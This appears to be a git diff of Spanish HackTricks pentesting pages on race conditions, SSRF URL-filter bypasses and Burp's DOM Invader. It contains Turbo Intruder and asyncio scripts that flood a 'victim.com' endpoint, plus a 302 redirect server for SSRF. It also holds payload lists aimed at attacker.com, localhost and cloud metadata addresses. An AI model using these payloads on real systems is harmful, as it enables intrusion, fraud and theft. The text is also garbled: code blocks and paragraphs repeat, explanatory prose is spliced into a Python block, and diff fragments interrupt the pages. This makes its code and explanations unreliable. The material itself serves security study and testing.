Antes de la investigación anterior, estos eran algunos payloads utilizados que simplemente intentaban enviar los paquetes lo más rápido posible para causar una RC.
* **Turbo Intruder**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5)
engine.openGate('race1')
engine.complete(timeout=60)
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
table.add(req)
```
Usando también BURP, puedes enviar la **petición** a **Intruder**, establecer el **número de hilos** en **30** dentro del menú de **Opciones** y seleccionar como carga útil **Cargas útiles nulas** y generar **30**.
* **Python - asyncio**
### **Usando el mismo código desde diferentes cuentas**
La biblioteca `asyncio` de Python es una biblioteca de programación asíncrona que permite escribir código concurrente utilizando la sintaxis `async/await`. Proporciona una forma sencilla de escribir programas que realizan operaciones de entrada/salida de manera eficiente y no bloqueante.
**Si la propuesta anterior no funcionó (intentando usar el mismo código varias veces desde la misma cuenta), puedes probar una variante: Intenta usar el mismo código desde diferentes cuentas:**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
La programación asíncrona es especialmente útil en situaciones en las que se necesita realizar múltiples tareas simultáneamente, como en el caso de las pruebas de penetración web. Una técnica común utilizada en las pruebas de penetración web es la condición de carrera, que aprovecha las condiciones de ejecución simultánea para obtener acceso no autorizado a recursos protegidos.
def handleResponse(req, interesting):
table.add(req)
```
### Usando Python
Una condición de carrera ocurre cuando dos o más procesos compiten por acceder o modificar un recurso compartido al mismo tiempo. En el contexto de las pruebas de penetración web, esto puede ocurrir cuando múltiples solicitudes se envían al servidor al mismo tiempo y se ejecutan en paralelo.
Para aprovechar una condición de carrera en una aplicación web, es necesario identificar un punto de vulnerabilidad donde se pueda producir una condición de carrera. Esto puede ser, por ejemplo, un proceso de autenticación o un proceso de actualización de datos.
Una vez identificado el punto de vulnerabilidad, se pueden enviar múltiples solicitudes simultáneas al servidor para intentar explotar la condición de carrera. Esto se puede lograr utilizando la biblioteca `asyncio` de Python para enviar solicitudes asíncronas y controlar el flujo de ejecución.
Al utilizar `asyncio`, se pueden enviar múltiples solicitudes al servidor al mismo tiempo y esperar las respuestas de manera eficiente sin bloquear el hilo principal de ejecución. Esto permite aprovechar las condiciones de carrera y realizar pruebas de penetración web de manera más efectiva.
En resumen, la biblioteca `asyncio` de Python es una herramienta poderosa para realizar pruebas de penetración web y aprovechar las condiciones de carrera. Al utilizar la programación asíncrona, se pueden enviar múltiples solicitudes simultáneas y controlar el flujo de ejecución de manera eficiente.
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## Persistencia eterna de OAuth2
* **Intruso**: Envía la **solicitud** al **Intruso**, establece el **número de hilos** en **30** dentro del menú de **Opciones**, selecciona como carga útil **Cargas útiles nulas** y genera **30**.
Existen varios [**proveedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Estos servicios te permiten crear una aplicación y autenticar a los usuarios que el proveedor ha registrado. Para hacerlo, el **cliente** necesitará **permitir que tu aplicación** acceda a algunos de sus datos dentro del **proveedor de OAuth**.\
Hasta aquí, solo es un inicio de sesión común con Google/LinkedIn/GitHub... donde se te muestra una página que dice: "_La aplicación \<InsertCoolName> quiere acceder a tu información, ¿quieres permitirlo?_"
## **Metodología de RC**
## **Impactos de RC**
### Desbordamiento de límite
Este es el tipo más básico de condición de carrera donde se encuentran **vulnerabilidades** que **limitan el número de veces que se puede realizar una acción**. Por ejemplo, usar el mismo código de descuento varias veces en una tienda web. Un ejemplo muy sencillo se puede encontrar en [**este informe**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o en [**este error**](https://hackerone.com/reports/759247)**.**
### **Subestados ocultos**
Otra condición de carrera más complicada explotará **subestados en el estado de la máquina** que podrían permitir a un atacante **abusar de estados a los que nunca se suponía que debía tener acceso**, pero hay una **pequeña ventana** para que el atacante acceda a ellos.
1. **Predecir subestados ocultos e interesantes potenciales**
El primer paso es identificar todos los puntos finales que ya sea escriben en él o leen datos de él y luego utilizan esos datos para algo importante. Por ejemplo, los usuarios pueden almacenarse en una tabla de base de datos que se modifica mediante el registro, la edición de perfiles, la iniciación de restablecimiento de contraseña y la finalización del restablecimiento de contraseña.
Podemos utilizar tres preguntas clave para descartar los puntos finales que es poco probable que causen colisiones. Para cada objeto y los puntos finales asociados, pregunte:
**1) ¿Cómo se almacena el estado?**
Los datos que se almacenan en una estructura de datos persistente en el servidor son ideales para la explotación. Algunos puntos finales almacenan su estado completamente en el lado del cliente, como los restablecimientos de contraseña que funcionan enviando un JWT por correo electrónico; estos se pueden omitir de forma segura.
Las aplicaciones a menudo almacenan algún estado en la sesión del usuario. Estos a menudo están algo protegidos contra subestados, pero más sobre eso más adelante.
**2) ¿Estamos editando o agregando?**
Las operaciones que editan datos existentes (como cambiar la dirección de correo electrónico principal de una cuenta) tienen un amplio potencial de colisión, mientras que las acciones que simplemente agregan datos existentes (como agregar una dirección de correo electrónico adicional) es poco probable que sean vulnerables a algo que no sea ataques de desbordamiento de límite.
**3) ¿En qué se basa la operación?**
La mayoría de los puntos finales operan en un registro específico, que se busca utilizando una "clave", como un nombre de usuario, un token de restablecimiento de contraseña o un nombre de archivo. Para un ataque exitoso, necesitamos dos operaciones que utilicen la misma clave. Por ejemplo, imagine dos implementaciones plausibles de restablecimiento de contraseña:
<figure><img src="../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
2. **Buscar pistas**
En este punto, es hora de **lanzar algunos ataques de RC** sobre los puntos finales interesantes potenciales para tratar de encontrar resultados inesperados en comparación con los regulares. **Cualquier desviación de la respuesta esperada**, como un cambio en una o más respuestas, o un efecto de segundo orden como diferentes contenidos de correo electrónico o un cambio visible en su sesión, podría ser una pista que indique que algo está mal.
3. **Demostrar el concepto**
El último paso es **demostrar el concepto y convertirlo en un ataque viable**.
Cuando envíes un lote de solicitudes, es posible que descubras que un par de solicitudes tempranas desencadena un estado final vulnerable, pero las solicitudes posteriores lo sobrescriben/invalidan y el estado final no se puede explotar. En este escenario, querrás eliminar todas las solicitudes innecesarias; dos deberían ser suficientes para explotar la mayoría de las vulnerabilidades. Sin embargo, reducir a dos solicitudes hará que el ataque sea más sensible al tiempo, por lo que es posible que debas intentar el ataque varias veces o automatizarlo.
## Estudios de casos de subestados ocultos
### Pagar y agregar un artículo
[**Consulta este laboratorio**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pagar** en una tienda y **agregar un artículo adicional** por el que **no tendrás que pagar**.
### Confirmar otros correos electrónicos
La idea es **verificar una dirección de correo electrónico y cambiarla al mismo tiempo** para averiguar si la plataforma verifica la nueva dirección cambiada.
### Cambiar el correo electrónico a 2 direcciones de correo electrónico
Según [**este informe**](https://portswigger.net/research/smashing-the-state-machine), Gitlab era vulnerable a un secuestro de esta manera porque podría **enviar el token de verificación de correo electrónico de un correo electrónico al otro correo electrónico**.
### Persistencia eterna de OAuth2
Existen varios [**proveedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Estos servicios te permitirán crear una aplicación y autenticar a los usuarios que el proveedor ha registrado. Para hacerlo, el **cliente** deberá **permitir que tu aplicación** acceda a algunos de sus datos dentro del **proveedor de OAuth**.\
Entonces, hasta aquí solo un inicio de sesión común con Google/LinkedIn/GitHub... donde se te muestra una página que dice: "_La aplicación \<InsertCoolName> quiere acceder a tu información, ¿quieres permitirlo?_"
#### Condición de carrera en `authorization_code`
El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Entonces, esta **aplicación abusa de una condición de carrera en el proveedor de servicios de OAuth para generar más de un AT/RT** (_Authentication Token/Refresh Token_) a partir del **`authorization_code`** para tu cuenta. Básicamente, abusará del hecho de que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT se eliminará, pero los demás seguirán siendo válidos**.
El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta **aplicación abusa de una condición de carrera en el proveedor de servicios de OAuth para generar más de un AT/RT** (_Authentication Token/Refresh Token_) a partir del **`authorization_code`** para tu cuenta. Básicamente, abusará del hecho de que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, se eliminará un par de AT/RT, pero los demás seguirán siendo válidos**.
#### Condición de carrera en `Refresh Token`
Una vez que **has obtenido un RT válido**, podrías intentar **abusar de él para generar varios AT/RT** e incluso si el usuario cancela los permisos para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos.**
Una vez que hayas **obtenido un RT válido**, podrías intentar **abusar de él para generar varios AT/RT** e incluso si el usuario cancela los permisos para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos**.
## Referencias
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas de la comunidad más avanzadas del mundo.\
Obtén acceso hoy:
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -6,8 +6,8 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -81,7 +81,9 @@ http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
```
### Analizador de Dominios
El **complemento de Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa eludir el formato de IP.
### Analizador de dominio
```bash
https:attacker.com
https:/attacker.com
@ -110,7 +112,33 @@ attacker。com
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### Confusión de Dominio
### Confusión de dominio
Domain confusion is a technique used in Server-Side Request Forgery (SSRF) attacks to bypass URL-based filters. It takes advantage of the fact that some URL parsers may interpret certain characters differently, allowing an attacker to trick the application into making requests to unintended targets.
#### URL Format Bypass
One common way to bypass URL-based filters is by using different URL formats. For example, an attacker can use the IP address of the target server instead of its domain name. This can be achieved by encoding the IP address in hexadecimal or octal format.
For instance, the IP address `192.168.0.1` can be represented as `0xc0.0xa8.0x00.0x01` in hexadecimal format, or as `0300.0250.0000.0001` in octal format. By using these alternative formats, an attacker can bypass filters that only check for domain names.
Another technique is to use the URL encoding scheme. This involves replacing certain characters in the URL with their corresponding percent-encoded values. For example, the character `.` can be replaced with `%2e`, and the character `/` can be replaced with `%2f`. By encoding the URL in this way, an attacker can bypass filters that only allow specific characters in the URL.
#### Example
Let's say there is an application that allows users to fetch the content of a given URL. The application has a filter in place to prevent SSRF attacks by only allowing requests to URLs that contain the domain name `example.com`.
However, an attacker can bypass this filter by using domain confusion. Instead of using the domain name `example.com`, the attacker can use the IP address `192.168.0.1` encoded as `0xc0.0xa8.0x00.0x01`. The resulting URL would be `http://0xc0.0xa8.0x00.0x01/`.
Since the filter only checks for the domain name `example.com`, it would allow the request to be made to the IP address `192.168.0.1`, which may be an internal network resource that should not be accessible from the application.
#### Mitigation
To mitigate domain confusion attacks, it is important to implement proper input validation and sanitization. All user-supplied input, including URLs, should be carefully validated and sanitized to prevent any malicious input from being processed.
Additionally, it is recommended to use a whitelist approach when filtering URLs. Instead of checking for specific domain names, the application should only allow requests to a predefined list of trusted domains.
By implementing these measures, the risk of SSRF attacks through domain confusion can be significantly reduced.
```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
@ -147,7 +175,7 @@ next={domain}&next=attacker.com
```
### Bypass de Rutas y Extensiones
Si se requiere que la URL termine en una ruta o una extensión, o que contenga una ruta, puede intentar uno de los siguientes bypasses:
Si se requiere que la URL termine en una ruta o una extensión, o que contenga una ruta, puedes intentar uno de los siguientes bypasses:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -155,13 +183,13 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
La herramienta [**recollapse**](https://github.com/0xacb/recollapse) puede generar variaciones a partir de una entrada dada para intentar evadir la expresión regular utilizada. Consulte [**esta publicación**](https://0xacb.com/2022/11/21/recollapse/) para obtener más información.
La herramienta [**recollapse**](https://github.com/0xacb/recollapse) puede generar variaciones a partir de una entrada dada para intentar evadir la expresión regular utilizada. Consulta [**esta publicación**](https://0xacb.com/2022/11/21/recollapse/) también para obtener más información.
### Bypass a través de redirección
Es posible que el servidor esté **filtrando la solicitud original** de un SSRF **pero no** una posible respuesta de **redirección** a esa solicitud.\
Por ejemplo, un servidor vulnerable a SSRF a través de: `url=https://www.google.com/` podría estar **filtrando el parámetro url**. Pero si usa un [servidor python para responder con un 302](https://pastebin.com/raw/ywAUhFrv) al lugar donde desea redirigir, podría ser capaz de **acceder a direcciones IP filtradas** como 127.0.0.1 o incluso a **protocolos** filtrados como gopher.\
[Consulte este informe.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
Por ejemplo, un servidor vulnerable a SSRF a través de: `url=https://www.google.com/` podría estar **filtrando el parámetro de URL**. Pero si utilizas un [servidor python para responder con un 302](https://pastebin.com/raw/ywAUhFrv) al lugar donde deseas redirigir, es posible que puedas **acceder a direcciones IP filtradas** como 127.0.0.1 o incluso a **protocolos filtrados** como gopher.\
[Echa un vistazo a este informe.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -171,14 +199,14 @@ import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
@ -186,11 +214,11 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### Truco de la barra invertida
En resumen, el _truco de la barra invertida_ se basa en explotar una pequeña diferencia entre dos especificaciones de "URL": el [Estándar de URL WHATWG](https://url.spec.whatwg.org/#url-parsing) y [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 es una especificación genérica y multipropósito para la sintaxis de _Identificadores Uniformes de Recursos_, mientras que el Estándar de URL WHATWG está específicamente dirigido a la Web y a las URL (que son un subconjunto de los URI). Los navegadores modernos implementan el Estándar de URL WHATWG.
En resumen, el _truco de la barra invertida_ se basa en aprovechar una pequeña diferencia entre dos especificaciones de "URL": el [Estándar de URL WHATWG](https://url.spec.whatwg.org/#url-parsing) y [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 es una especificación genérica y multipropósito para la sintaxis de _Identificadores de Recursos Uniformes_, mientras que el Estándar de URL WHATWG está específicamente dirigido a la Web y a las URL (que son un subconjunto de las URI). Los navegadores modernos implementan el Estándar de URL WHATWG.
Ambos describen una forma de analizar URI/URL, con una ligera diferencia. La especificación WHATWG describe [un carácter adicional](https://url.spec.whatwg.org/#authority-state), la `\`, que se comporta como `/`: termina el nombre de host y la autoridad y comienza la ruta de la URL.
Ambos describen una forma de analizar URI/URL, con una ligera diferencia. La especificación WHATWG describe [un carácter adicional](https://url.spec.whatwg.org/#authority-state), la `\`, que se comporta de manera similar a `/`: termina el nombre de host y la autoridad y comienza la ruta de la URL.
![Las dos especificaciones analizando la misma URL de manera diferente](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
![Las dos especificaciones analizando la misma URL de manera diferente](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
### Otras confusiones
@ -203,9 +231,9 @@ imagen de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-c
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -1,4 +1,4 @@
# Invador de DOM
# DOM Invader
<details>
@ -6,86 +6,86 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Invador de DOM
## DOM Invader
DOM Invader es una herramienta de navegador instalada en el navegador integrado de Burp. Ayuda a **detectar vulnerabilidades de XSS en el DOM** utilizando varias fuentes y sumideros, incluyendo mensajes web y contaminación de prototipos. La herramienta está preinstalada como una extensión.
DOM Invader es una herramienta de navegador instalada en el navegador incorporado de Burp. Ayuda a **detectar vulnerabilidades de XSS en el DOM** utilizando diversas fuentes y sumideros, incluyendo mensajes web y contaminación de prototipos. La herramienta está preinstalada como una extensión.
DOM Invader integra una pestaña dentro del panel de DevTools del navegador que permite lo siguiente:
DOM Invader integra una pestaña dentro del panel de herramientas de desarrollo del navegador que permite lo siguiente:
1. **Identificación de sumideros controlables** en una página web para pruebas de XSS en el DOM, proporcionando detalles de contexto y de sanitización.
1. **Identificación de sumideros controlables** en una página web para pruebas de XSS en el DOM, proporcionando contexto y detalles de sanitización.
2. **Registro, edición y reenvío de mensajes web** enviados a través del método `postMessage()` para pruebas de XSS en el DOM. DOM Invader también puede detectar automáticamente vulnerabilidades utilizando mensajes web especialmente diseñados.
3. Detección de **fuentes de contaminación de prototipos del lado del cliente** y escaneo de dispositivos controlables enviados a sumideros riesgosos.
3. Detección de **fuentes de contaminación de prototipos en el lado del cliente** y escaneo de dispositivos controlables enviados a sumideros riesgosos.
4. Identificación de **vulnerabilidades de clobbering del DOM**.
### Habilitar
### Habilitarlo
En el navegador integrado de Burp, vaya a la **extensión de Burp** y habilítela:
En el navegador incorporado de Burp, ve a la **extensión de Burp** y habilítala:
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ahora actualice la página y en las **Dev Tools** encontrará la pestaña **DOM Invader:**
Ahora actualiza la página y en las **Herramientas de desarrollo** encontrarás la pestaña **DOM Invader:**
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Inyectar un canario
En la imagen anterior se puede ver un **grupo aleatorio de caracteres, que es el canario**. Ahora debe comenzar a **inyectarlo** en diferentes partes de la web (parámetros, formularios, URL...) y cada vez hacer clic en buscar. DOM Invader comprobará si el **canario terminó en algún sumidero interesante** que pueda ser explotado.
En la imagen anterior puedes ver un **grupo aleatorio de caracteres, que es el canario**. Ahora debes comenzar a **inyectarlo** en diferentes partes de la web (parámetros, formularios, URL...) y cada vez hacer clic en buscar. DOM Invader comprobará si el **canario terminó en algún sumidero interesante** que pueda ser explotado.
Además, las opciones **Inyectar parámetros de URL** e Inyectar formularios abrirán automáticamente una **nueva pestaña** **inyectando** el **canario** en cada **parámetro de URL** y **formulario** que encuentre.
### Inyectar un canario vacío
Si solo desea encontrar sumideros potenciales que la página pueda tener, incluso si no son explotables, puede **buscar un canario vacío**.
Si solo quieres encontrar posibles sumideros que la página pueda tener, incluso si no son explotables, puedes **buscar un canario vacío**.
### Mensajes de publicación
### Mensajes web
DOM Invader permite probar XSS en el DOM utilizando mensajes web con funciones como:
